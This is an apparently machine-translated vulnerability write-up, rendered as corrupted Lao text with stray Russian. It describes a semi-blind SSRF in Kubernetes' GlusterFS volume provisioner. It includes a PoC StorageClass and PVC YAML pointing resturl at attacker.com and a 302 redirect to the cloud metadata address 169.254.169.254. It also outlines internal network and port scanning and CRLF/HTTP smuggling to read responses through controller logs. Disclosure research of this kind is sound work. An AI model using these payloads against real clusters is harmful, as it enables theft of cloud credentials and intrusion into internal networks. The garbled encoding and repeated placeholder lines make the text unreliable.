เป€เบ„เบดเปˆเบ‡เบ•เบฒเบšเบญเบ”. (เบ—เปˆเบฒเบ™เบชเบฒเบกเบฒเบ”เบญเปˆเบฒเบ™เป€เบžเบตเปˆเบกเป€เบ•เบตเบกเบเปˆเบฝเบงเบเบฑเบš SSRF เป€เบ„เบดเปˆเบ‡เบ•เบฒเบšเบญเบ”เบซเบผเบทเป€เบ„เบดเปˆเบ‡เบซเบ™เบถเปˆเบ‡เบ•เบฒเบšเบญเบ”, เบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบเบปเบเบ•เบปเบงเบขเปˆเบฒเบ‡, เบ—เบตเปˆเบ™เบตเป‰ โ€” เบ›เบฐโ€‹เบกเบฒเบ™โ€‹. เปเบ›.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

เบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบฑเป‰เบ™, เบžเบงเบเป€เบฎเบปเบฒเปƒเบŠเป‰ binary เป€เบžเบทเปˆเบญเบˆเบฑเบ”เบเบฒเบ™เบเบธเปˆเบก Kubernetes เบˆเบฒเบเป„เบฅเบเบฐเป„เบ kubectl. เป‚เบ”เบเบ›เบปเบเบเบฐเบ•เบด, เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡ (Azure, Google, AWS, เปเบฅเบฐเบญเบทเปˆเบ™เป†) เบญเบฐเบ™เบธเบเบฒเบ”เปƒเบซเป‰เบ—เปˆเบฒเบ™เป„เบ”เป‰เบฎเบฑเบšเบ‚เปเป‰เบกเบนเบ™เบ›เบฐเบˆเปเบฒเบ•เบปเบงเบชเปเบฒเบฅเบฑเบšเบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เบ›เบฐเป‚เบซเบเบ”เบ™เบตเป‰.

เบ‚เปเบ‚เบญเบšเปƒเบˆเบเบฑเบšเบชเบดเปˆเบ‡เบ™เบตเป‰, เบ‚เป‰เบญเบเบชเบฒเบกเบฒเบ”เปƒเบŠเป‰เป„เบŸเบฅเปŒ "เบžเบดเป€เบชเบ”" เบ‚เบญเบ‡เบ‚เป‰เบญเบ. Kube-controller-manager เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป HTTP เบ—เบตเปˆเป„เบ”เป‰เบฎเบฑเบšเบœเบปเบ™:

kubectl create -f sc-poc.yaml

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...
เบ„เปเบฒเบ•เบญเบšเบˆเบฒเบเบ—เบฑเบ”เบชเบฐเบ™เบฐเบ‚เบญเบ‡เบœเบนเป‰เป‚เบˆเบกเบ•เบต

เบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบฑเป‰เบ™เบšเปเปˆเบ”เบปเบ™, เบžเบงเบเป€เบฎเบปเบฒเบเบฑเบ‡เบชเบฒเบกเบฒเบ”เป„เบ”เป‰เบฎเบฑเบšเบเบฒเบ™เบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡ HTTP เบˆเบฒเบเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเป€เบ›เบปเป‰เบฒเบซเบกเบฒเบ - เบœเปˆเบฒเบ™เบ„เปเบฒเบชเบฑเปˆเบ‡ describe pvc เบซเบผเบท get events เปƒเบ™ kubectl. เปเบฅเบฐเปเบ—เป‰เบˆเบดเบ‡เปเบฅเป‰เบง: เป„เบ”เป€เบงเบต Kubernetes เป€เบฅเบตเปˆเบกเบ•เบปเป‰เบ™เบ™เบตเป‰เปเบกเปˆเบ™เป€เบงเบปเป‰เบฒเป€เบเบตเบ™เป„เบ›เปƒเบ™เบเบฒเบ™เป€เบ•เบทเบญเบ™เป„เบž / เบ‚เปเป‰เบ„เบงเบฒเบกเบชเบฐเปเบ”เบ‡เบ‚เปเป‰เบœเบดเบ”เบžเบฒเบ”เบ‚เบญเบ‡เบกเบฑเบ™ ...

เบ™เบตเป‰เปเบกเปˆเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡เบ—เบตเปˆเบกเบตเบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบเบฑเบš https://www.google.frเบ•เบฑเป‰เบ‡เป€เบ›เบฑเบ™เบžเบฒเบฅเบฒเบกเบดเป€เบ•เบต resturl:

kubectl describe pvc poc-ssrf
# ะธะปะธ ะถะต ะผะพะถะตั‚ะต ะฒะพัะฟะพะปัŒะทะพะฒะฐั‚ัŒัั kubectl get events

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...

เปƒเบ™เบงเบดเบ—เบตเบเบฒเบ™เบ™เบตเป‰, เบžเบงเบเป€เบฎเบปเบฒเบ–เบทเบเบˆเปเบฒเบเบฑเบ”เบžเบฝเบ‡เปเบ•เปˆเบ„เปเบฒเบ–เบฒเบกเป€เบŠเบฑเปˆเบ™ HTTP POST เปเบฅเบฐเบšเปเปˆเบชเบฒเบกเบฒเบ”เป„เบ”เป‰เบฎเบฑเบšเป€เบ™เบทเป‰เบญเปƒเบ™เบ‚เบญเบ‡เบฎเปˆเบฒเบ‡เบเบฒเบเบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡เบ–เป‰เบฒเบซเบฒเบเบงเปˆเบฒเบฅเบฐเบซเบฑเบ”เบเบฑเบšเบ„เบทเบ™เปเบกเปˆเบ™ 201. เบ”เบฑเปˆเบ‡เบ™เบฑเป‰เบ™, เบžเบงเบเป€เบฎเบปเบฒเบ•เบฑเบ”เบชเบดเบ™เปƒเบˆเบ”เปเบฒเป€เบ™เบตเบ™เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เป‰เบงเบฒเป€เบžเบตเปˆเบกเป€เบ•เบตเบกเปเบฅเบฐเบ‚เบฐเบซเบเบฒเบเบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบเบฒเบ™ hack เบ™เบตเป‰เบ”เป‰เบงเบเบงเบดเบ—เบตเบเบฒเบ™เปƒเบซเบกเปˆ.

เบงเบดเบงเบฑเบ”เบ—เบฐเบ™เบฒเบเบฒเบ™เบ‚เบญเบ‡เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒ

  • เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ‚เบฑเป‰เบ™เบชเบนเบ‡ #1: เบเบฒเบ™เบ™เปเบฒเปƒเบŠเป‰เบเบฒเบ™เบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡ 302 เบˆเบฒเบเป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเบžเบฒเบเบ™เบญเบเป€เบžเบทเปˆเบญเบ›เปˆเบฝเบ™เบงเบดเบ—เบตเบเบฒเบ™ HTTP เป€เบžเบทเปˆเบญเปƒเบซเป‰เบกเบตเบงเบดเบ—เบตเบเบฒเบ™เบ—เบตเปˆเบกเบตเบ„เบงเบฒเบกเบเบทเบ”เบซเบเบธเปˆเบ™เบซเบผเบฒเบเปƒเบ™เบเบฒเบ™เป€เบเบฑเบšเบเปเบฒเบ‚เปเป‰เบกเบนเบ™เบžเบฒเบเปƒเบ™.
  • เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ‚เบฑเป‰เบ™เบชเบนเบ‡ #2: เบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”เบเบฒเบ™เบชเบฐเปเบเบ™ LAN เปเบฅเบฐเบเบฒเบ™เบ„เบปเป‰เบ™เบžเบปเบšเบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบžเบฒเบเปƒเบ™.
  • เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ‚เบฑเป‰เบ™เบชเบนเบ‡ #3: เบเบฒเบ™เปƒเบŠเป‰ HTTP CRLF + smuggling (โ€œเบฎเป‰เบญเบ‡เบ‚เปเบเบฒเบ™เบฅเบฑเบเบฅเบญเบšโ€) เป€เบžเบทเปˆเบญเบชเป‰เบฒเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป HTTP เบ—เบตเปˆเบ›เบฑเบšเปเบ•เปˆเบ‡เปเบฅเป‰เบงเป€เบญเบปเบฒเบ‚เปเป‰เบกเบนเบ™เบ—เบตเปˆเบชเบฐเบเบฑเบ”เบˆเบฒเบเบšเบฑเบ™เบ—เบถเบ kube-controller.

เบ‚เปเป‰เบกเบนเบ™เบˆเปเบฒเป€เบžเบฒเบฐ

  • เบเบฒเบ™เบ„เบปเป‰เบ™เบ„เบงเป‰เบฒเป„เบ”เป‰เบ™เปเบฒเปƒเบŠเป‰ Azure Kubernetes Service (AKS) เบเบฑเบš Kubernetes เบฎเบธเปˆเบ™ 1.12 เปƒเบ™เบžเบฒเบเบžเบทเป‰เบ™เป€เบญเบตเบฃเบปเบšเป€เบซเบ™เบทเบญ.
  • เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ—เบตเปˆเบญเบฐเบ—เบดเบšเบฒเบเบ‚เป‰เบฒเบ‡เป€เบ—เบดเบ‡เบ™เบตเป‰เป„เบ”เป‰เบ–เบทเบเบ›เบฐเบ•เบดเบšเบฑเบ”เปƒเบ™เบเบฒเบ™เบ›เปˆเบญเบเบซเบฅเป‰เบฒเบชเบธเบ”เบ‚เบญเบ‡ Kubernetes, เบเบปเบเป€เบงเบฑเป‰เบ™เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ—เบตเบชเบฒเบก, เป€เบžเบฒเบฐเบงเปˆเบฒ เบฅเบฒเบงเบ•เป‰เบญเบ‡เบเบฒเบ™ Kubernetes เบชเป‰เบฒเบ‡เบ‚เบถเป‰เบ™เบ”เป‰เบงเบ Golang เบฎเบธเปˆเบ™ โ‰ค 1.12.
  • เป€เบŠเบตเบšเป€เบงเบตเบžเบฒเบเบ™เบญเบเบ‚เบญเบ‡เบœเบนเป‰เป‚เบˆเบกเบ•เบต - https://attacker.com.

เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ‚เบฑเป‰เบ™เบชเบนเบ‡ #1: เบเบฒเบ™เบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป HTTP POST เป„เบ›เบซเบฒ GET เปเบฅเบฐเบฎเบฑเบšเบ‚เปเป‰เบกเบนเบ™เบ—เบตเปˆเบฅเบฐเบญเบฝเบ”เบญเปˆเบญเบ™

เบงเบดเบ—เบตเบเบฒเบ™เบ•เบปเป‰เบ™เบชเบฐเบšเบฑเบšเป„เบ”เป‰เบ–เบทเบเบ›เบฑเบšเบ›เบธเบ‡เป‚เบ”เบเบเบฒเบ™เบ•เบฑเป‰เบ‡เบ„เปˆเบฒเบ‚เบญเบ‡เป€เบ„เบทเปˆเบญเบ‡เปเบกเปˆเบ‚เปˆเบฒเบเบ‚เบญเบ‡เบœเบนเป‰เป‚เบˆเบกเบ•เบตเบ—เบตเปˆเบˆเบฐเบเบฑเบšเบ„เบทเบ™เบกเบฒ 302 HTTP Retcodeเป€เบžเบทเปˆเบญเบ›เปˆเบฝเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป POST เป€เบ›เบฑเบ™เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป GET (เบ‚เบฑเป‰เบ™เบ•เบญเบ™ 4 เปƒเบ™เปเบœเบ™เบงเบฒเบ”):

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...

เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เปเบ—เปเบฒเบญเบดเบ” (3) เบกเบฒเบˆเบฒเบเบฅเบนเบเบ„เป‰เบฒ GlusterFS (เบœเบนเป‰เบˆเบฑเบ”เบเบฒเบ™เบ„เบงเบšเบ„เบธเบก), เบกเบตเบ›เบฐเป€เบžเบ” POST. เป‚เบ”เบเบ›เบฐเบ•เบดเบšเบฑเบ”เบ•เบฒเบกเบ‚เบฑเป‰เบ™เบ•เบญเบ™เป€เบซเบผเบปเปˆเบฒเบ™เบตเป‰, เบžเบงเบเป€เบฎเบปเบฒเบชเบฒเบกเบฒเบ”เบ›เปˆเบฝเบ™เบกเบฑเบ™เป€เบ‚เบปเป‰เบฒเป„เบ›เปƒเบ™ GET:

  • เป€เบ›เบฑเบ™เบžเบฒเบฅเบฒเบกเบดเป€เบ•เบต resturl เปƒเบ™ StorageClass เบกเบฑเบ™เป„เบ”เป‰เบ–เบทเบเบŠเบตเป‰เบšเบญเบ http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php เบ•เบญเบšเบชเบฐเปœเบญเบ‡เบ”เป‰เบงเบเบฅเบฐเบซเบฑเบ”เบชเบฐเบ–เบฒเบ™เบฐ HTTP 302 เบ—เบตเปˆเบกเบตเบชเปˆเบงเบ™เบซเบปเบงเบชเบฐเบ–เบฒเบ™เบ—เบตเปˆเบ•เปเปˆเป„เบ›เบ™เบตเป‰: http://169.254.169.254. เบ™เบตเป‰เบชเบฒเบกเบฒเบ”เป€เบ›เบฑเบ™เบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบžเบฒเบเปƒเบ™เบญเบทเปˆเบ™เป† - เปƒเบ™เบเปเบฅเบฐเบ™เบตเบ™เบตเป‰, เบเบฒเบ™เป€เบŠเบทเปˆเบญเบกเบ•เปเปˆเบเบฒเบ™เบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบ–เบทเบเบ™เปเบฒเปƒเบŠเป‰เบžเบฝเบ‡เปเบ•เปˆเป€เบ›เบฑเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡.
  • เบ•เบฑเป‰เบ‡เปเบ•เปˆเบ•เบญเบ™เบ•เบปเป‰เบ™ net/http เบซเปเบชเบฐเบซเบกเบธเบ” Golang เบ›เปˆเบฝเบ™เป€เบชเบฑเป‰เบ™เบ—เบฒเบ‡เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเปเบฅเบฐเบ›เปˆเบฝเบ™ POST เป€เบ›เบฑเบ™ GET เบ”เป‰เบงเบเบฅเบฐเบซเบฑเบ”เบชเบฐเบ–เบฒเบ™เบฐ 302, เบชเบปเปˆเบ‡เบœเบปเบ™เปƒเบซเป‰เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป HTTP GET เป„เบ›เบซเบฒเบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เป€เบ›เบปเป‰เบฒเบซเบกเบฒเบ.

เป€เบžเบทเปˆเบญเบญเปˆเบฒเบ™เบฎเปˆเบฒเบ‡เบเบฒเบเบ•เบญเบšเบชเบฐเบซเบ™เบญเบ‡ HTTP เบ—เปˆเบฒเบ™เบ•เป‰เบญเบ‡เป€เบฎเบฑเบ” describe เบงเบฑเบ”เบ–เบธ PVC:

kubectl describe pvc xxx

เบ™เบตเป‰เปเบกเปˆเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡เบ‚เบญเบ‡เบเบฒเบ™เบ•เบญเบš HTTP เปƒเบ™เบฎเบนเบšเปเบšเบš JSON เบ—เบตเปˆเบžเบงเบเป€เบฎเบปเบฒเบชเบฒเบกเบฒเบ”เป„เบ”เป‰เบฎเบฑเบš:

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...

เบ„เบงเบฒเบกเบชเบฒเบกเบฒเบ”เบ‚เบญเบ‡เบŠเปˆเบญเบ‡เป‚เบซเบงเปˆเบ—เบตเปˆเบžเบปเบšเป€เบซเบฑเบ™เปƒเบ™เป€เบงเบฅเบฒเบ™เบฑเป‰เบ™เปเบกเปˆเบ™เบˆเปเบฒเบเบฑเบ”เป€เบ™เบทเปˆเบญเบ‡เบˆเบฒเบเบˆเบธเบ”เบ”เบฑเปˆเบ‡เบ•เปเปˆเป„เบ›เบ™เบตเป‰:

  • เบšเปเปˆเบชเบฒเบกเบฒเบ”เปƒเบชเปˆเบชเปˆเบงเบ™เบซเบปเบง HTTP เป€เบ‚เบปเป‰เบฒเปƒเบ™เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ—เบตเปˆเบญเบญเบเบกเบฒ.
  • เบ„เบงเบฒเบกเบšเปเปˆเบชเบฒเบกเบฒเบ”เบ›เบฐเบ•เบดเบšเบฑเบ”เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เป POST เบ—เบตเปˆเบกเบตเบžเบฒเบฅเบฒเบกเบดเป€เบ•เบตเบขเบนเปˆเปƒเบ™เบฎเปˆเบฒเบ‡เบเบฒเบ (เบญเบฑเบ™เบ™เบตเป‰เปเบกเปˆเบ™เบชเบฐเบ”เบงเบเปƒเบ™เบเบฒเบ™เบฎเป‰เบญเบ‡เบ‚เปเบ„เปˆเบฒเบ—เบตเปˆเบชเปเบฒเบ„เบฑเบ™เบˆเบฒเบเบ•เบปเบงเบขเปˆเบฒเบ‡ etcd เบ—เบตเปˆเป€เบฎเบฑเบ”เบงเบฝเบเบขเบนเปˆเปƒเบ™. 2379 เบžเบญเบ”เบ–เป‰เบฒเบšเปเปˆเป€เบ‚เบปเป‰เบฒเบฅเบฐเบซเบฑเบ” HTTP เบ–เบทเบเปƒเบŠเป‰).
  • เบšเปเปˆเบชเบฒเบกเบฒเบ”เบ”เบถเบ‡เบ‚เปเป‰เบกเบนเบ™เป€เบ™เบทเป‰เบญเปƒเบ™เบเบฒเบ™เบ•เบญเบšเบชเบฐเปœเบญเบ‡เป€เบกเบทเปˆเบญเบฅเบฐเบซเบฑเบ”เบชเบฐเบ–เบฒเบ™เบฐเปเบกเปˆเบ™ 200 เปเบฅเบฐเบเบฒเบ™เบ•เบญเบšเบชเบฐเปœเบญเบ‡เบšเปเปˆเบกเบต JSON Content-Type.

เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ‚เบฑเป‰เบ™เบชเบนเบ‡ #2: เบชเบฐเปเบเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบ—เป‰เบญเบ‡เบ–เบดเปˆเบ™

เบงเบดเบ—เบตเบเบฒเบ™ SSRF เป€เบ„เบดเปˆเบ‡เบ•เบฒเบšเบญเบ”เบ™เบตเป‰เป„เบ”เป‰เบ–เบทเบเปƒเบŠเป‰เป€เบžเบทเปˆเบญเบชเบฐเปเบเบ™เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบžเบฒเบเปƒเบ™เบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡เปเบฅเบฐเบเบฒเบ™เบชเปเบฒเบซเบผเบงเบ”เบเบฒเบ™เบšเปเบฅเบดเบเบฒเบ™เบŸเบฑเบ‡เบ•เปˆเบฒเบ‡เป† (เบ•เบปเบงเบขเปˆเบฒเบ‡ Metadata, Kubelet, เปเบฅเบฐเบญเบทเปˆเบ™เป†) เป‚เบ”เบเบญเบตเบ‡เปƒเบชเปˆเบ„เปเบฒเบ•เบญเบš. เบ•เบปเบงเบ„เบงเบšเบ„เบธเบก kube.

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...

เบ—เปเบฒเบญเบดเบ”, เบžเบญเบ”เบŸเบฑเบ‡เบกเบฒเบ”เบ•เบฐเบ–เบฒเบ™เบ‚เบญเบ‡เบญเบปเบ‡เบ›เบฐเบเบญเบš Kubernetes เป„เบ”เป‰เบ–เบทเบเบเปเบฒเบ™เบปเบ” (8443, 10250, 10251, เปเบฅเบฐเบญเบทเปˆเบ™เป†), เปเบฅเบฐเบซเบผเบฑเบ‡เบˆเบฒเบเบ™เบฑเป‰เบ™เบžเบงเบเป€เบฎเบปเบฒเบ•เป‰เบญเบ‡เบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”เบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบชเบฐเปเบเบ™.

เป€เบซเบฑเบ™เบงเปˆเบฒเบงเบดเบ—เบตเบเบฒเบ™เบชเบฐเปเบเบ™เบŠเบฑเบšเบžเบฐเบเบฒเบเบญเบ™เบ™เบตเป‰เปเบกเปˆเบ™เบชเบฐเป€เบžเบฒเบฐเบซเบผเบฒเบเปเบฅเบฐเบšเปเปˆเป€เบซเบกเบฒเบฐเบชเบปเบกเบเบฑเบšเป€เบ„เบทเปˆเบญเบ‡เบชเบฐเปเบเบ™เบ„เบฅเบฒเบชเบชเบดเบเปเบฅเบฐเป€เบ„เบทเปˆเบญเบ‡เบกเบท SSRF, เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบ•เบฑเบ”เบชเบดเบ™เปƒเบˆเบชเป‰เบฒเบ‡เบžเบฐเบ™เบฑเบเบ‡เบฒเบ™เบ‚เบญเบ‡เบžเบงเบเป€เบฎเบปเบฒเป€เบญเบ‡เปƒเบ™ bash script เบ—เบตเปˆเบญเบฑเบ”เบ•เบฐเป‚เบ™เบกเบฑเบ”เบ‚เบฐเบšเบงเบ™เบเบฒเบ™เบ—เบฑเบ‡เบซเบกเบปเบ”.

เบ•เบปเบงเบขเปˆเบฒเบ‡, เป€เบžเบทเปˆเบญเบชเบฐเปเบเบ™เบ‚เบญเบšเป€เบ‚เบ” 172.16.0.0/12 เบ‚เบญเบ‡เป€เบ„เบทเบญเบ‚เปˆเบฒเบเบžเบฒเบเปƒเบ™เบขเปˆเบฒเบ‡เป„เบงเบงเบฒ, เบžเบฐเบ™เบฑเบเบ‡เบฒเบ™ 15 เบ„เบปเบ™เป„เบ”เป‰เบ–เบทเบเป€เบ›เบตเบ”เบ•เบปเบงเปƒเบ™เบ‚เบฐเบซเบ™เบฒเบ™. เบŠเปˆเบงเบ‡ IP เบ‚เป‰เบฒเบ‡เป€เบ—เบดเบ‡เบ™เบตเป‰เป„เบ”เป‰เบ–เบทเบเป€เบฅเบทเบญเบเป€เบ›เบฑเบ™เบ•เบปเบงเบขเปˆเบฒเบ‡เป€เบ—เบปเปˆเบฒเบ™เบฑเป‰เบ™ เปเบฅเบฐเบญเบฒเบ”เบˆเบฐเบกเบตเบเบฒเบ™เบ›เปˆเบฝเบ™เปเบ›เบ‡เบ•เปเปˆเบเบฑเบšเบŠเปˆเบงเบ‡ IP เบ‚เบญเบ‡เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เบชเบฐเป€เบžเบฒเบฐเบ‚เบญเบ‡เบ—เปˆเบฒเบ™.

เป€เบžเบทเปˆเบญเบชเบฐเปเบเบ™เบซเบ™เบถเปˆเบ‡เบ—เบตเปˆเบขเบนเปˆ IP เปเบฅเบฐเบซเบ™เบถเปˆเบ‡เบžเบญเบ”, เบ—เปˆเบฒเบ™เบˆเปเบฒเป€เบ›เบฑเบ™เบ•เป‰เบญเบ‡เป€เบฎเบฑเบ”เบ”เบฑเปˆเบ‡เบ•เปเปˆเป„เบ›เบ™เบตเป‰:

  • เบฅเบถเบš StorageClass เบ—เบตเปˆเบเบงเบ”เบชเบญเบšเบซเบผเป‰เบฒเบชเบธเบ”;
  • เป€เบญเบปเบฒเบเบฒเบ™เบญเป‰เบฒเบ‡เบชเบดเบ”เบ›เบฐเบฅเบดเบกเบฒเบ™เบ„เบปเบ‡เบ—เบตเปˆเบ—เบตเปˆเบขเบทเบ™เบขเบฑเบ™เบœเปˆเบฒเบ™เบกเบฒ;
  • เบ›เปˆเบฝเบ™เบ„เปˆเบฒ IP เปเบฅเบฐ Port เปƒเบ™ sc.yaml;
  • เบชเป‰เบฒเบ‡ StorageClass เบ—เบตเปˆเบกเบต IP เปเบฅเบฐเบžเบญเบ”เปƒเบซเบกเปˆ;
  • เบชเป‰เบฒเบ‡ PVC เปƒเบซเบกเปˆ;
  • เบชเบฐเบเบฑเบ”เบœเบปเบ™เป„เบ”เป‰เบฎเบฑเบšเบเบฒเบ™เบชเบฐเปเบเบ™เป‚เบ”เบเปƒเบŠเป‰เบ„เปเบฒเบญเบฐเบ—เบดเบšเบฒเบเบชเปเบฒเบฅเบฑเบš PVC.

เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบ‚เบฑเป‰เบ™เบชเบนเบ‡ #3: เบเบฒเบ™เบชเบตเบ” CRLF + เบเบฒเบ™เบฅเบฑเบเบฅเบญเบš HTTP เปƒเบ™ "เป€เบเบปเปˆเบฒ" เบ‚เบญเบ‡เบเบธเปˆเบก Kubernetes

เบ–เป‰เบฒเบ™เบญเบเป€เปœเบทเบญเป„เบ›เบˆเบฒเบเบ™เบตเป‰ เบœเบนเป‰เปƒเบซเป‰เบšเปเบฅเบดเบเบฒเบ™เป„เบ”เป‰เบชเบฐเป€เปœเบตเปƒเบซเป‰เบฅเบนเบเบ„เป‰เบฒเบฅเบธเป‰เบ™เป€เบเบปเปˆเบฒเบ‚เบญเบ‡เบเบธเปˆเบก K8s ะธ เปƒเบซเป‰เบžเบงเบเป€เบ‚เบปเบฒเป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบšเบฑเบ™เบ—เบถเบเบ‚เบญเบ‡ kube-controller-manager, เบœเบปเบ™เบเบฐเบ—เบปเบšเป„เบ”เป‰เบเบฒเบเป€เบ›เบฑเบ™เบ„เบงเบฒเบกเบชเปเบฒเบ„เบฑเบ™เบซเบผเบฒเบเบ‚เบถเป‰เบ™.

เบกเบฑเบ™เบชเบฐเบ”เบงเบเบเบงเปˆเบฒเบซเบผเบฒเบเบชเปเบฒเบฅเบฑเบšเบœเบนเป‰เป‚เบˆเบกเบ•เบตเบ—เบตเปˆเบˆเบฐเบ›เปˆเบฝเบ™เบ„เปเบฒเบฎเป‰เบญเบ‡เบ‚เป HTTP เบ—เบตเปˆเบ–เบทเบเบญเบญเบเปเบšเบšเบกเบฒเป€เบžเบทเปˆเบญเปƒเบซเป‰เป„เบ”เป‰เบ„เปเบฒเบ•เบญเบš HTTP เบขเปˆเบฒเบ‡เป€เบ•เบฑเบกเบ—เบตเปˆเบ•เบฒเบกเบเบฒเบ™เบ•เบฑเบ”เบชเบดเบ™เปƒเบˆเบ‚เบญเบ‡เบฅเบฒเบง.

เป€เบกเบทเปˆเบญเบกเบฑเบ™เบšเปเปˆเบžเบฝเบ‡เปเบ•เปˆเบเปˆเบฝเบงเบเบฑเบšเบŠเปˆเบญเบ‡เป‚เบซเบงเปˆ Kubernetes...

เป€เบžเบทเปˆเบญเบ›เบฐเบ•เบดเบšเบฑเบ”เบชเบฐเบ–เบฒเบ™เบฐเบเบฒเบ™เบชเบธเบ”เบ—เป‰เบฒเบ, เบ•เป‰เบญเบ‡เบกเบตเป€เบ‡เบทเปˆเบญเบ™เป„เบ‚เบ”เบฑเปˆเบ‡เบ•เปเปˆเป„เบ›เบ™เบตเป‰:

  • เบœเบนเป‰เปƒเบŠเป‰เบ•เป‰เบญเบ‡เบกเบตเบเบฒเบ™เป€เบ‚เบปเป‰เบฒเป€เบ–เบดเบ‡เบšเบฑเบ™เบ—เบถเบ kube-controller-manager (เป€เบŠเบฑเปˆเบ™: เปƒเบ™ Azure LogInsights).
  • เบเบธเปˆเบก Kubernetes เบˆเบฐเบ•เป‰เบญเบ‡เปƒเบŠเป‰ Golang เป€เบงเบตเบŠเบฑเบ™เบ—เบตเปˆเบ•เปเปˆเบฒเบเบงเปˆเบฒ 1.12.

เบžเบงเบเป€เบฎเบปเบฒเป„เบ”เป‰เบ™เบณเปƒเบŠเป‰เบชเบฐเบžเบฒเบšเปเบงเบ”เบฅเป‰เบญเบกเบ—เป‰เบญเบ‡เบ–เบดเปˆเบ™เบ—เบตเปˆเบˆเบณเบฅเบญเบ‡เบเบฒเบ™เบชเบทเปˆเบชเบฒเบ™เบฅเบฐเบซเบงเปˆเบฒเบ‡เบฅเบนเบเบ„เป‰เบฒ GlusterFS Go เปเบฅเบฐเป€เบŠเบตเบšเป€เบงเบตเป€เบ›เบปเป‰เบฒเปเบฒเบเบ›เบญเบก (เบžเบงเบเป€เบฎเบปเบฒเบˆเบฐเบซเบผเบตเบเบฅเปˆเบฝเบ‡เบเบฒเบ™เป€เบœเบตเบเปเบœเปˆ PoC เปƒเบ™เบ•เบญเบ™เบ™เบตเป‰).

